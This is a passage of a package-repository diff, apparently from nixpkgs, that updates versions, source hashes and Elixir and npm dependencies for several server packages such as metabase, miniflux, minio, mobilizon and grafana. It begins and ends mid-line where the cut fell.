vendorHash = "sha256-sa6M9rMrI7fa8T4su3yfJID4AYB6YnlfrVBM6cPQLvY="; doCheck = false; diff --git a/pkgs/servers/metabase/default.nix b/pkgs/servers/metabase/default.nix index 24636e19a4c21..42d776d797052 100644 --- a/pkgs/servers/metabase/default.nix +++ b/pkgs/servers/metabase/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "metabase"; - version = "0.48.4"; + version = "0.48.7"; src = fetchurl { url = "https://downloads.metabase.com/v${version}/metabase.jar"; - hash = "sha256-megPu4HGVdfMzWkJJyse87EBLSi50yXXHfg7WIk3U10="; + hash = "sha256-W0FP9c6vMLCfK93eaXPeF1mkBAI2KMjQ9EpGx7hbRg8="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/servers/miniflux/default.nix b/pkgs/servers/miniflux/default.nix index 21c754ed90a9a..7d97e1dd7bd06 100644 --- a/pkgs/servers/miniflux/default.nix +++ b/pkgs/servers/miniflux/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "miniflux"; - version = "2.0.51"; + version = "2.1.0"; src = fetchFromGitHub { owner = "miniflux"; repo = "v2"; rev = "refs/tags/${version}"; - hash = "sha256-gffiZOsHUYTDEjIdKUPyKbsdRKX890aG6GY72LYESkA="; + hash = "sha256-c7xKgu3039gTmxdWXoYWuuYDD/oPv3/uYS3m8KRkhTk="; }; - vendorHash = "sha256-yO4sNOkEDnM9eETE68C++dPnAfcoSMXznf5Nq4/iQmA="; + vendorHash = "sha256-PuyWik0OA77gJipnuOyRgrCCQlDj9gTM/LDRBl6mBRo="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/servers/minio/default.nix b/pkgs/servers/minio/default.nix index cd498ba55533c..3fb9ecc28f389 100644 --- a/pkgs/servers/minio/default.nix +++ b/pkgs/servers/minio/default.nix @@ -21,16 +21,16 @@ let in buildGoModule rec { pname = "minio"; - version = "2024-02-04T22-36-13Z"; + version = "2024-02-26T09-33-48Z"; src = fetchFromGitHub { owner = "minio"; repo = "minio"; rev = "RELEASE.${version}"; - hash = "sha256-vA1xrwvHyhqrdWjEXqs0MUaPq8S3J2r1uE0IndpwdjQ="; + hash = "sha256-V5Pmp36YA0u1Z2SBNdJZAHQuA3PgVKHmIJlDElhS24s="; }; - vendorHash = "sha256-eE8F/cG7SdSHrFW4qg+MBdS/rxoz4xB0JbCQ3vi38ok="; + vendorHash = "sha256-0EymK7jQhr+NJDg1zgWpcniV5zZ33Av6zpq0IDuWw7M="; doCheck = false; diff --git a/pkgs/servers/misc/gobgpd/default.nix b/pkgs/servers/misc/gobgpd/default.nix index a7b4b05b57ccb..8d7a8f563ea82 100644 --- a/pkgs/servers/misc/gobgpd/default.nix +++ b/pkgs/servers/misc/gobgpd/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "gobgpd"; - version = "3.23.0"; + version = "3.24.0"; src = fetchFromGitHub { owner = "osrg"; repo = "gobgp"; rev = "refs/tags/v${version}"; - hash = "sha256-PUwYcwWgaV/DQl565fugppc+I/y7z7Ns3P4SspS88ts="; + hash = "sha256-JGgkhNSKprqaUBaW+m/5vYnuDri1Ibyf2Y6SMlscnIU="; }; vendorHash = "sha256-5eB3vFOo3LCsjMnWYFH0yq5+IunwKXp5C34x6NvpFZ8="; diff --git a/pkgs/servers/misc/navidrome/default.nix b/pkgs/servers/misc/navidrome/default.nix index 09358c12e49c4..76e20469faa01 100644 --- a/pkgs/servers/misc/navidrome/default.nix +++ b/pkgs/servers/misc/navidrome/default.nix @@ -18,13 +18,13 @@ buildGoModule rec { pname = "navidrome"; - version = "0.51.0"; + version = "0.51.1"; src = fetchFromGitHub { owner = "navidrome"; repo = "navidrome"; rev = "v${version}"; - hash = "sha256-AsDVU1J/lPjTY6R7khzorbBCWuL9FX6aZnMD2snBSys="; + hash = "sha256-6IYQrSWqrvYz2tDlk14UaX36bdXN0DbF7ynaa3Qboa4="; }; vendorHash = "sha256-Q95OchWkxd/EmG7Vu0e/dge9nOIrGmcTgjGL5dBvEKA="; diff --git a/pkgs/servers/misc/qremotecontrol-server/default.nix b/pkgs/servers/misc/qremotecontrol-server/default.nix index 07094886b43b2..31d66070d42fa 100644 --- a/pkgs/servers/misc/qremotecontrol-server/default.nix +++ b/pkgs/servers/misc/qremotecontrol-server/default.nix @@ -7,7 +7,7 @@ , xorg }: -stdenv.mkDerivation rec { +stdenv.mkDerivation { pname = "qremotecontrol-server"; version = "unstable-2014-11-05"; # basically 2.4.2 + qt5 diff --git a/pkgs/servers/mobilizon/common.nix b/pkgs/servers/mobilizon/common.nix index 4a97ae7bfa1d1..0b3e3faa73066 100644 --- a/pkgs/servers/mobilizon/common.nix +++ b/pkgs/servers/mobilizon/common.nix @@ -1,13 +1,13 @@ { fetchFromGitLab }: rec { pname = "mobilizon"; - version = "4.0.2"; + version = "4.1.0"; src = fetchFromGitLab { domain = "framagit.org"; owner = "framasoft"; repo = pname; rev = version; - sha256 = "sha256-Ri1qCiQaKlSTSSGWHzFqYBCoTEMtOtwe0Kli466dv4M="; + sha256 = "sha256-aS57126Nhz/QvouSyZ9wUu78/eoCYbRwyncUUmO1Dv8="; }; } diff --git a/pkgs/servers/mobilizon/default.nix b/pkgs/servers/mobilizon/default.nix index 191952f646813..e4a75a4c91ceb 100644 --- a/pkgs/servers/mobilizon/default.nix +++ b/pkgs/servers/mobilizon/default.nix @@ -57,8 +57,8 @@ mixRelease rec { src = fetchFromGitHub { owner = "danhper"; repo = "elixir-web-push-encryption"; - rev = "70f00d06cbd88c9ac382e0ad2539e54448e9d8da"; - sha256 = "sha256-b4ZMrt/8n2sPUFtCDRTwXS1qWm5VlYdbx8qC0R0boOA="; + rev = "6e143dcde0a2854c4f0d72816b7ecab696432779"; + sha256 = "sha256-Da+/28SPZuUQBi8fQj31zmMvhMrYUaQIW4U4E+mRtMg="; }; beamDeps = with final; [ httpoison jose ]; }; diff --git a/pkgs/servers/mobilizon/frontend.nix b/pkgs/servers/mobilizon/frontend.nix index 5ea6242c5bdcf..397fb138bd445 100644 --- a/pkgs/servers/mobilizon/frontend.nix +++ b/pkgs/servers/mobilizon/frontend.nix @@ -6,7 +6,7 @@ in buildNpmPackage { inherit (common) pname version src; - npmDepsHash = "sha256-z/xWumL1wri63cGGMHMBq6WVDe81bp8tILsZa53a7FM="; + npmDepsHash = "sha256-pF07ul71zg9iLM/ja4Fz/6IXpqdMKb7KwOH02Q9lyCg="; nativeBuildInputs = [ imagemagick ]; diff --git a/pkgs/servers/mobilizon/mix.nix b/pkgs/servers/mobilizon/mix.nix index 60d212d7fa072..ca33f819723ac 100644 --- a/pkgs/servers/mobilizon/mix.nix +++ b/pkgs/servers/mobilizon/mix.nix @@ -73,14 +73,27 @@ let beamDeps = [ xml_builder ]; }; + bandit = buildMix rec { + name = "bandit"; + version = "1.2.3"; + + src = fetchHex { + pkg = "bandit"; + version = "${version}"; + sha256 = "3e29150245a9b5f56944434e5240966e75c917dad248f689ab589b32187a81af"; + }; + + beamDeps = [ hpax plug telemetry thousand_island websock ]; + }; + bunt = buildMix rec { name = "bunt"; - version = "0.2.1"; + version = "1.0.0"; src = fetchHex { pkg = "bunt"; version = "${version}"; - sha256 = "a330bfb4245239787b15005e66ae6845c9cd524a288f0d141c148b02603777a5"; + sha256 = "dc5f86aa08a5f6fa6b8096f0735c4e76d54ae5c9fa2c143e5a1fc7c1cd9bb6b5"; }; beamDeps = []; @@ -101,12 +114,12 @@ let castore = buildMix rec { name = "castore"; - version = "1.0.4"; + version = "1.0.5"; src = fetchHex { pkg = "castore"; version = "${version}"; - sha256 = "9418c1b8144e11656f0be99943db4caf04612e3eaecefb5dae9a2a87565584f8"; + sha256 = "8d7c597c3e4a64c395980882d4bca3cebb8d74197c590dc272cfd3b6a6310578"; }; beamDeps = []; @@ -177,19 +190,6 @@ let beamDeps = []; }; - connection = buildMix rec { - name = "connection"; - version = "1.1.0"; - - src = fetchHex { - pkg = "connection"; - version = "${version}"; - sha256 = "722c1eb0a418fbe91ba7bd59a47e28008a189d47e37e0e7bb85585a016b2869c"; - }; - - beamDeps = []; - }; - cors_plug = buildMix rec { name = "cors_plug"; version = "3.0.3"; @@ -203,53 +203,14 @@ let beamDeps = [ plug ]; }; - cowboy = buildErlangMk rec { - name = "cowboy"; - version = "2.10.0"; - - src = fetchHex { - pkg = "cowboy"; - version = "${version}"; - sha256 = "3afdccb7183cc6f143cb14d3cf51fa00e53db9ec80cdcd525482f5e99bc41d6b"; - }; - - beamDeps = [ cowlib ranch ]; - }; - - cowboy_telemetry = buildRebar3 rec { - name = "cowboy_telemetry"; - version = "0.4.0"; - - src = fetchHex { - pkg = "cowboy_telemetry"; - version = "${version}"; - sha256 = "7d98bac1ee4565d31b62d59f8823dfd8356a169e7fcbb83831b8a5397404c9de"; - }; - - beamDeps = [ cowboy telemetry ]; - }; - - cowlib = buildRebar3 rec { - name = "cowlib"; - version = "2.12.1"; - - src = fetchHex { - pkg = "cowlib"; - version = "${version}"; - sha256 = "163b73f6367a7341b33c794c4e88e7dbfe6498ac42dcd69ef44c5bc5507c8db0"; - }; - - beamDeps = []; - }; - credo = buildMix rec { name = "credo"; - version = "1.7.1"; + version = "1.7.5"; src = fetchHex { pkg = "credo"; version = "${version}"; - sha256 = "e9871c6095a4c0381c89b6aa98bc6260a8ba6addccf7f6a53da8849c748a58a2"; + sha256 = "f799e9b5cd1891577d8c773d245668aa74a2fcd15eb277f51a0131690ebfb3fd"; }; beamDeps = [ bunt file_system jason ]; @@ -309,12 +270,12 @@ let dialyxir = buildMix rec { name = "dialyxir"; - version = "1.4.2"; + version = "1.4.3"; src = fetchHex { pkg = "dialyxir"; version = "${version}"; - sha256 = "516603d8067b2fd585319e4b13d3674ad4f314a5902ba8130cd97dc902ce6bbd"; + sha256 = "bf2cfb75cd5c5006bec30141b131663299c661a864ec7fbbc72dfa557487a986"; }; beamDeps = [ erlex ]; @@ -348,12 +309,12 @@ let earmark_parser = buildMix rec { name = "earmark_parser"; - version = "1.4.38"; + version = "1.4.39"; src = fetchHex { pkg = "earmark_parser"; version = "${version}"; - sha256 = "2cd0907795aaef0c7e8442e376633c5b3bd6edc8dbbdc539b22f095501c1cdb6"; + sha256 = "06553a88d1f1846da9ef066b87b57c6f605552cfbe40d20bd8d59cc6bde41944"; }; beamDeps = []; @@ -374,12 +335,12 @@ let ecto = buildMix rec { name = "ecto"; - version = "3.11.0"; + version = "3.11.1"; src = fetchHex { pkg = "ecto"; version = "${version}"; - sha256 = "7769dad267ef967310d6e988e92d772659b11b09a0c015f101ce0fff81ce1f81"; + sha256 = "ebd3d3772cd0dfcd8d772659e41ed527c28b2a8bde4b00fe03e0463da0f1983b"; }; beamDeps = [ decimal jason telemetry ]; @@ -400,12 +361,12 @@ let ecto_dev_logger = buildMix rec { name = "ecto_dev_logger"; - version = "0.9.0"; + version = "0.10.0"; src = fetchHex { pkg = "ecto_dev_logger"; version = "${version}"; - sha256 = "2e8bc98b4ae4fcc7108896eef7da5a109afad829f4fb2eb46d677fdc9101c2d5"; + sha256 = "a55e58bad5d5c9b8ef2a3c3347dbdf7efa880a5371cf1457e44b41f489a43927"; }; beamDeps = [ ecto jason ]; @@ -439,12 +400,12 @@ let ecto_sql = buildMix rec { name = "ecto_sql"; - version = "3.11.0"; + version = "3.11.1"; src = fetchHex { pkg = "ecto_sql"; version = "${version}"; - sha256 = "77aa3677169f55c2714dda7352d563002d180eb33c0dc29cd36d39c0a1a971f5"; + sha256 = "ce14063ab3514424276e7e360108ad6c2308f6d88164a076aac8a387e1fea634"; }; beamDeps = [ db_connection ecto postgrex telemetry ]; @@ -465,15 +426,15 @@ let elixir_make = buildMix rec { name = "elixir_make"; - version = "0.7.7"; + version = "0.7.8"; src = fetchHex { pkg = "elixir_make"; version = "${version}"; - sha256 = "5bc19fff950fad52bbe5f211b12db9ec82c6b34a9647da0c2224b8b8464c7e6c"; + sha256 = "7a71945b913d37ea89b06966e1342c85cfe549b15e6d6d081e8081c493062c07"; }; - beamDeps = [ castore ]; + beamDeps = [ castore certifi ]; }; erlex = buildMix rec { @@ -530,12 +491,12 @@ let ex_cldr_calendars = buildMix rec { name = "ex_cldr_calendars"; - version = "1.22.1"; + version = "1.23.0"; src = fetchHex { pkg = "ex_cldr_calendars"; version = "${version}"; - sha256 = "e7408cd9e8318b2ef93b76728e84484ddc3ea6d7c894fbc811c54122a7140169"; + sha256 = "06d2407e699032d5cdc515593b7ce7869f10ce28e98a4ed68d9b21e5001036d4"; }; beamDeps = [ ex_cldr_numbers ex_doc jason ]; @@ -582,12 +543,12 @@ let ex_cldr_numbers = buildMix rec { name = "ex_cldr_numbers"; - version = "2.32.3"; + version = "2.32.4"; src = fetchHex { pkg = "ex_cldr_numbers"; version = "${version}"; - sha256 = "7b626ff1e59a0ec9c3c5db5ce9ca91a6995e2ab56426b71f3cbf67181ea225f5"; + sha256 = "6fd5a82f0785418fa8b698c0be2b1845dff92b77f1b3172c763d37868fb503d2"; }; beamDeps = [ decimal digital_token ex_cldr ex_cldr_currencies jason ]; @@ -608,12 +569,12 @@ let ex_doc = buildMix rec { name = "ex_doc"; - version = "0.30.9"; + version = "0.31.1"; src = fetchHex { pkg = "ex_doc"; version = "${version}"; - sha256 = "d7aaaf21e95dc5cddabf89063327e96867d00013963eadf2c6ad135506a8bc10"; + sha256 = "3178c3a407c557d8343479e1ff117a96fd31bafe52a039079593fb0524ef61b0"; }; beamDeps = [ earmark_parser makeup_elixir makeup_erlang ]; @@ -699,12 +660,12 @@ let expo = buildMix rec { name = "expo"; - version = "0.4.1"; + version = "0.5.2"; src = fetchHex { pkg = "expo"; version = "${version}"; - sha256 = "2ff7ba7a798c8c543c12550fa0e2cbc81b95d4974c65855d8d15ba7b37a1ce47"; + sha256 = "8c9bfa06ca017c9cb4020fabe980bc7fdb1aaec059fd004c2ab3bff03b1c599c"; }; beamDeps = []; @@ -725,12 +686,12 @@ let fast_html = buildMix rec { name = "fast_html"; - version = "2.2.0"; + version = "2.3.0"; src = fetchHex { pkg = "fast_html"; version = "${version}"; - sha256 = "064c4f23b4a6168f9187dac8984b056f2c531bb0787f559fd6a8b34b38aefbae"; + sha256 = "f18e3c7668f82d3ae0b15f48d48feeb257e28aa5ab1b0dbf781c7312e5da029d"; }; beamDeps = [ elixir_make nimble_pool ]; @@ -777,12 +738,12 @@ let floki = buildMix rec { name = "floki"; - version = "0.35.2"; + version = "0.35.4"; src = fetchHex { pkg = "floki"; version = "${version}"; - sha256 = "6b05289a8e9eac475f644f09c2e4ba7e19201fd002b89c28c1293e7bd16773d9"; + sha256 = "27fa185d3469bd8fc5947ef0f8d5c4e47f0af02eb6b070b63c868f69e3af0204"; }; beamDeps = []; @@ -868,12 +829,12 @@ let gettext = buildMix rec { name = "gettext"; - version = "0.23.1"; + version = "0.24.0"; src = fetchHex { pkg = "gettext"; version = "${version}"; - sha256 = "19d744a36b809d810d610b57c27b934425859d158ebd56561bc41f7eeb8795db"; + sha256 = "bdf75cdfcbe9e4622dd18e034b227d77dd17f0f133853a1c73b97b3d6c770e8b"; }; beamDeps = [ expo ]; @@ -933,12 +894,12 @@ let hammer = buildMix rec { name = "hammer"; - version = "6.1.0"; + version = "6.2.1"; src = fetchHex { pkg = "hammer"; version = "${version}"; - sha256 = "b47e415a562a6d072392deabcd58090d8a41182cf9044cdd6b0d0faaaf68ba57"; + sha256 = "b9476d0c13883d2dc0cc72e786bac6ac28911fba7cc2e04b70ce6a6d9c4b2bdc"; }; beamDeps = [ poolboy ]; @@ -957,6 +918,19 @@ let beamDeps = []; }; + hpax = buildMix rec { + name = "hpax"; + version = "0.1.2"; + + src = fetchHex { + pkg = "hpax"; + version = "${version}"; + sha256 = "2c87843d5a23f5f16748ebe77969880e29809580efdaccd615cd3bed628a8c13"; + }; + + beamDeps = []; + }; + html_entities = buildMix rec { name = "html_entities"; version = "0.5.2"; @@ -972,12 +946,12 @@ let http_signatures = buildMix rec { name = "http_signatures"; - version = "0.1.1"; + version = "0.1.2"; src = fetchHex { pkg = "http_signatures"; version = "${version}"; - sha256 = "cc3b8a007322cc7b624c0c15eec49ee58ac977254ff529a3c482f681465942a3"; + sha256 = "f08aa9ac121829dae109d608d83c84b940ef2f183ae50f2dd1e9a8bc619d8be7"; }; beamDeps = []; @@ -1011,12 +985,12 @@ let inet_cidr = buildMix rec { name = "inet_cidr"; - version = "1.0.4"; + version = "1.0.8"; src = fetchHex { pkg = "inet_cidr"; version = "${version}"; - sha256 = "64a2d30189704ae41ca7dbdd587f5291db5d1dda1414e0774c29ffc81088c1bc"; + sha256 = "d5b26da66603bb56c933c65214c72152f0de9a6ea53618b56d63302a68f6a90e"; }; beamDeps = []; @@ -1128,12 +1102,12 @@ let makeup_erlang = buildMix rec { name = "makeup_erlang"; - version = "0.1.2"; + version = "0.1.5"; src = fetchHex { pkg = "makeup_erlang"; version = "${version}"; - sha256 = "f3f5a1ca93ce6e092d92b6d9c049bcda58a3b617a8d888f8e7231c85630e8108"; + sha256 = "94d2e986428585a21516d7d7149781480013c56e30c6a233534bedf38867a59a"; }; beamDeps = [ makeup ]; @@ -1206,12 +1180,12 @@ let mix_test_watch = buildMix rec { name = "mix_test_watch"; - version = "1.1.1"; + version = "1.1.2"; src = fetchHex { pkg = "mix_test_watch"; version = "${version}"; - sha256 = "f82262b54dee533467021723892e15c3267349849f1f737526523ecba4e6baae"; + sha256 = "8ce79fc69a304eec81ab6c1a05de2eb026a8959f65fb47f933ce8eb56018ba35"; }; beamDeps = [ file_system ]; @@ -1336,12 +1310,12 @@ let oban = buildMix rec { name = "oban"; - version = "2.16.3"; + version = "2.17.5"; src = fetchHex { pkg = "oban"; version = "${version}"; - sha256 = "4d8a7fb62f63cf2f2080c78954425f5fd8916ef57196b7f79b5bc657abb2ac5f"; + sha256 = "fd3ccbbfdbb2bc77107c8790946f9821a831ed0720688485ee6adcd7863886cf"; }; beamDeps = [ ecto_sql jason postgrex telemetry ]; @@ -1375,15 +1349,15 @@ let phoenix = buildMix rec { name = "phoenix"; - version = "1.7.10"; + version = "1.7.11"; src = fetchHex { pkg = "phoenix"; version = "${version}"; - sha256 = "cf784932e010fd736d656d7fead6a584a4498efefe5b8227e9f383bf15bb79d0"; + sha256 = "b1ec57f2e40316b306708fe59b92a16b9f6f4bf50ccfa41aa8c7feb79e0ec02a"; }; - beamDeps = [ castore jason phoenix_pubsub phoenix_template phoenix_view plug plug_cowboy plug_crypto telemetry websock_adapter ]; + beamDeps = [ castore jason phoenix_pubsub phoenix_template phoenix_view plug plug_crypto telemetry websock_adapter ]; }; phoenix_ecto = buildMix rec { @@ -1427,12 +1401,12 @@ let phoenix_live_view = buildMix rec { name = "phoenix_live_view"; - version = "0.20.1"; + version = "0.20.10"; src = fetchHex { pkg = "phoenix_live_view"; version = "${version}"; - sha256 = "be494fd1215052729298b0e97d5c2ce8e719c00854b82cd8cf15c1cd7fcf6294"; + sha256 = "daa17b3fbdfd6347aaade4db01a5dd24d23af0f4344e2e24934e8adfb4a11607"; }; beamDeps = [ jason phoenix phoenix_html phoenix_template phoenix_view plug telemetry ]; @@ -1453,12 +1427,12 @@ let phoenix_swoosh = buildMix rec { name = "phoenix_swoosh"; - version = "1.2.0"; + version = "1.2.1"; src = fetchHex { pkg = "phoenix_swoosh"; version = "${version}"; - sha256 = "e88d117251e89a16b92222415a6d87b99a96747ddf674fc5c7631de734811dba"; + sha256 = "4000eeba3f9d7d1a6bf56d2bd56733d5cadf41a7f0d8ffe5bb67e7d667e204a2"; }; beamDeps = [ hackney phoenix phoenix_html phoenix_view swoosh ]; @@ -1466,12 +1440,12 @@ let phoenix_template = buildMix rec { name = "phoenix_template"; - version = "1.0.3"; + version = "1.0.4"; src = fetchHex { pkg = "phoenix_template"; version = "${version}"; - sha256 = "16f4b6588a4152f3cc057b9d0c0ba7e82ee23afa65543da535313ad8d25d8e2c"; + sha256 = "2c0c81f0e5c6753faf5cca2f229c9709919aba34fab866d3bc05060c9c444206"; }; beamDeps = [ phoenix_html ]; @@ -1492,30 +1466,17 @@ let plug = buildMix rec { name = "plug"; - version = "1.15.2"; + version = "1.15.3"; src = fetchHex { pkg = "plug"; version = "${version}"; - sha256 = "02731fa0c2dcb03d8d21a1d941bdbbe99c2946c0db098eee31008e04c6283615"; + sha256 = "cc4365a3c010a56af402e0809208873d113e9c38c401cabd88027ef4f5c01fd2"; }; beamDeps = [ mime plug_crypto telemetry ]; }; - plug_cowboy = buildMix rec { - name = "plug_cowboy"; - version = "2.6.1"; - - src = fetchHex { - pkg = "plug_cowboy"; - version = "${version}"; - sha256 = "de36e1a21f451a18b790f37765db198075c25875c64834bcc82d90b309eb6613"; - }; - - beamDeps = [ cowboy cowboy_telemetry plug ]; - }; - plug_crypto = buildMix rec { name = "plug_crypto"; version = "2.0.0"; @@ -1544,12 +1505,12 @@ let postgrex = buildMix rec { name = "postgrex"; - version = "0.17.3"; + version = "0.17.4"; src = fetchHex { pkg = "postgrex"; version = "${version}"; - sha256 = "946cf46935a4fdca7a81448be76ba3503cff082df42c6ec1ff16a4bdfbfb098d"; + sha256 = "6458f7d5b70652bc81c3ea759f91736c16a31be000f306d3c64bcdfe9a18b3cc"; }; beamDeps = [ db_connection decimal jason ]; @@ -1570,12 +1531,12 @@ let ranch = buildRebar3 rec { name = "ranch"; - version = "1.8.0"; + version = "2.1.0"; src = fetchHex { pkg = "ranch"; version = "${version}"; - sha256 = "49fbcfd3682fab1f5d109351b61257676da1a2fdbe295904176d5e521a2ddfe5"; + sha256 = "244ee3fa2a6175270d8e1fc59024fd9dbc76294a321057de8f803b1479e76916"; }; beamDeps = []; @@ -1617,7 +1578,7 @@ let sha256 = "f9fc7641ef61e885510f5e5963c2948b9de1de597c63f781e9d3d6c9c8681ab4"; }; - beamDeps = [ hackney jason plug plug_cowboy ]; + beamDeps = [ hackney jason plug ]; }; shortuuid = buildMix rec { @@ -1635,12 +1596,12 @@ let sitemapper = buildMix rec { name = "sitemapper"; - version = "0.7.0"; + version = "0.8.0"; src = fetchHex { pkg = "sitemapper"; version = "${version}"; - sha256 = "60f7a684e5e9fe7f10ac5b69f48b0be2bcbba995afafcb3c143fc0c8ef1f223f"; + sha256 = "7cd42b454035da457151c9b6a314b688b5bbe5383add95badc65d013c25989c5"; }; beamDeps = [ xml_builder ]; @@ -1739,15 +1700,15 @@ let swoosh = buildMix rec { name = "swoosh"; - version = "1.14.1"; + version = "1.15.3"; src = fetchHex { pkg = "swoosh"; version = "${version}"; - sha256 = "87da72260b4351678f96aec61db5c2acc8a88cda2cf2c4f534eb4c9c461350c7"; + sha256 = "97a667b96ca8cc48a4679f6cd1f40a36d8701cf052587298473614caa70f164a"; }; - beamDeps = [ cowboy gen_smtp hackney jason mime plug plug_cowboy telemetry ]; + beamDeps = [ bandit gen_smtp hackney jason mime plug telemetry ]; }; telemetry = buildRebar3 rec { @@ -1776,6 +1737,19 @@ let beamDeps = [ castore hackney jason mime telemetry ]; }; + thousand_island = buildMix rec { + name = "thousand_island"; + version = "1.3.5"; + + src = fetchHex { + pkg = "thousand_island"; + version = "${version}"; + sha256 = "2be6954916fdfe4756af3239fb6b6d75d0b8063b5df03ba76fd8a4c87849e180"; + }; + + beamDeps = [ telemetry ]; + }; + timex = buildMix rec { name = "timex"; version = "3.7.11"; @@ -1791,12 +1765,12 @@ let tls_certificate_check = buildRebar3 rec { name = "tls_certificate_check"; - version = "1.20.0"; + version = "1.21.0"; src = fetchHex { pkg = "tls_certificate_check"; version = "${version}"; - sha256 = "ab57b74b1a63dc5775650699a3ec032ec0065005eff1f020818742b7312a8426"; + sha256 = "6cee6cffc35a390840d48d463541d50746a7b0e421acaadb833cfc7961e490e7"; }; beamDeps = [ ssl_verify_fun ]; @@ -1804,12 +1778,12 @@ let tz_world = buildMix rec { name = "tz_world"; - version = "1.3.1"; + version = "1.3.2"; src = fetchHex { pkg = "tz_world"; version = "${version}"; - sha256 = "901ed2b4a4430ecab3765244da4a19e6f19141867c2ab3753924919b87ed2224"; + sha256 = "d1a345e07b3378c4c902ad54fbd5d54c8c3dd55dba883b7407fe57bcec45ff2a"; }; beamDeps = [ castore certifi geo jason ]; @@ -1830,12 +1804,12 @@ let ueberauth = buildMix rec { name = "ueberauth"; - version = "0.10.5"; + version = "0.10.8"; src = fetchHex { pkg = "ueberauth"; version = "${version}"; - sha256 = "3efd1f31d490a125c7ed453b926f7c31d78b97b8a854c755f5c40064bf3ac9e1"; + sha256 = "f2d3172e52821375bccb8460e5fa5cb91cfd60b19b636b6e57e9759b6f8c10c1"; }; beamDeps = [ plug ]; @@ -2020,7 +1994,7 @@ let sha256 = "4b977ba4a01918acbf77045ff88de7f6972c2a009213c515a445c48f224ffce9"; }; - beamDeps = [ plug plug_cowboy websock ]; + beamDeps = [ bandit plug websock ]; }; xml_builder = buildMix rec { diff --git a/pkgs/servers/monitoring/grafana-dash-n-grab/default.nix b/pkgs/servers/monitoring/grafana-dash-n-grab/default.nix index 52309195a4193..089d2f4e4db14 100644 --- a/pkgs/servers/monitoring/grafana-dash-n-grab/default.nix +++ b/pkgs/servers/monitoring/grafana-dash-n-grab/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "grafana-dash-n-grab"; - version = "0.5.1"; + version = "0.5.2"; src = fetchFromGitHub { rev = "v${version}"; owner = "esnet"; repo = "gdg"; - sha256 = "sha256-OLMa5s3QoK+ZeU3v/mPW9tPXqKTS/f+90pPpT+nlWFU="; + sha256 = "sha256-EG1hLyoy75nvA1ZmSHSPVEzMwhq6d0PxmVUpQysjsRg="; }; - vendorHash = "sha256-y5eqG0kB3kGZ2X/VR6aVT+qCVZQd2MbFDqReoPwNtO4="; + vendorHash = "sha256-w0w6ac8sNxsVBEYps6ZhM7F4PFcIWKah0cnk/NBtA8M="; ldflags = [ "-s" diff --git a/pkgs/servers/monitoring/grafana-image-renderer/default.nix b/pkgs/servers/monitoring/grafana-image-renderer/default.nix index 639e4a0b0bc34..7975bf514e3cd 100644 --- a/pkgs/servers/monitoring/grafana-image-renderer/default.nix +++ b/pkgs/servers/monitoring/grafana-image-renderer/default.nix @@ -7,18 +7,18 @@ mkYarnPackage rec { pname = "grafana-image-renderer"; - version = "3.9.0"; + version = "3.10.0"; src = fetchFromGitHub { owner = "grafana"; repo = "grafana-image-renderer"; rev = "v${version}"; - hash = "sha256-MFMAfjvP7FQRG71xbgwhreDIBdQ4Qho/msdmDLiRetg="; + hash = "sha256-fl2vDaGLR2ZlHnljfHYPN0EmbGqJwVs5dBkXRDJ3fM8="; }; offlineCache = fetchYarnDeps { yarnLock = src + "/yarn.lock"; - hash = "sha256-hrDsgZlfLJTO3ROJ/Zb3OyF2QQTjsSJIt+2TesyXYUA="; + hash = "sha256-6x42/UaTNmoglgHDqfa0LjQz8PeOwUVqI5BOEuzdnuM="; }; packageJSON = ./package.json; diff --git a/pkgs/servers/monitoring/grafana-image-renderer/package.json b/pkgs/servers/monitoring/grafana-image-renderer/package.json index ca8fec206830b..7d360f78c6b19 100644 --- a/pkgs/servers/monitoring/grafana-image-renderer/package.json +++ b/pkgs/servers/monitoring/grafana-image-renderer/package.json @@ -17,7 +17,11 @@ "watch:debug": "tsc-watch --onSuccess \"cross-env DEBUG=puppeteer-cluster:* node build/app.js server --config=dev.json\"", "build": "tsc", "start": "node build/app.js server --config=dev.json", - "create-gcom-plugin-json": "ts-node scripts/createGcomPluginJson.ts ./scripts/tmp" + "create-gcom-plugin-json": "ts-node scripts/createGcomPluginJson.ts ./scripts/tmp", + "test-update": "cross-env UPDATE_GOLDEN=true jest", + "test": "sh ./scripts/run_tests.sh", + "test-ci": "jest", + "test-diff": "cross-env SAVE_DIFF=true jest" }, "dependencies": { "@grpc/grpc-js": "^1.7.0", @@ -29,7 +33,7 @@ "express": "^4.16.3", "express-prom-bundle": "^6.5.0", "google-protobuf": "3.21.0", - "jimp": "^0.16.13", + "jimp": "^0.22.10", "jsdom": "20.0.0", "lodash": "^4.17.21", "minimist": "^1.2.6", @@ -47,9 +51,12 @@ "@grafana/eslint-config": "^6.0.0", "@types/dompurify": "2.3.4", "@types/express": "^4.17.14", + "@types/jest": "^29.5.7", "@types/jsdom": "20.0.0", "@types/multer": "1.4.7", "@types/node": "^18.7.18", + "@types/pixelmatch": "^5.2.6", + "@types/supertest": "^2.0.15", "@typescript-eslint/eslint-plugin": "5.37.0", "@typescript-eslint/parser": "5.37.0", "axios": "1.6.0", @@ -60,10 +67,16 @@ "eslint-plugin-prettier": "4.2.1", "eslint-plugin-react": "7.31.8", "eslint-plugin-react-hooks": "4.6.0", + "fast-png": "^6.2.0", "husky": "8.0.1", + "jest": "^29.7.0", + "jsonwebtoken": "^9.0.2", "lint-staged": "13.0.3", "pkg": "5.8.1", "prettier": "2.7.1", + "superagent": "^8.1.2", + "supertest": "^6.3.3", + "ts-jest": "^29.1.1", "ts-node": "10.9.1", "tsc-watch": "5.0.3", "typescript": "4.8.3" diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix index fcb3c1f2ed3be..8b2a9c02e0dfe 100644 --- a/pkgs/servers/monitoring/grafana/default.nix +++ b/pkgs/servers/monitoring/grafana/default.nix @@ -32,7 +32,7 @@ let in buildGoModule rec { pname = "grafana"; - version = "10.3.1"; + version = "10.3.3"; excludedPackages = [ "alert_webhook_listener" "clean-swagger" "release_publisher" "slow_proxy" "slow_proxy_mac" "macaron" "devenv" "modowners" ]; @@ -40,7 +40,7 @@ buildGoModule rec { owner = "grafana"; repo = "grafana"; rev = "v${version}"; - hash = 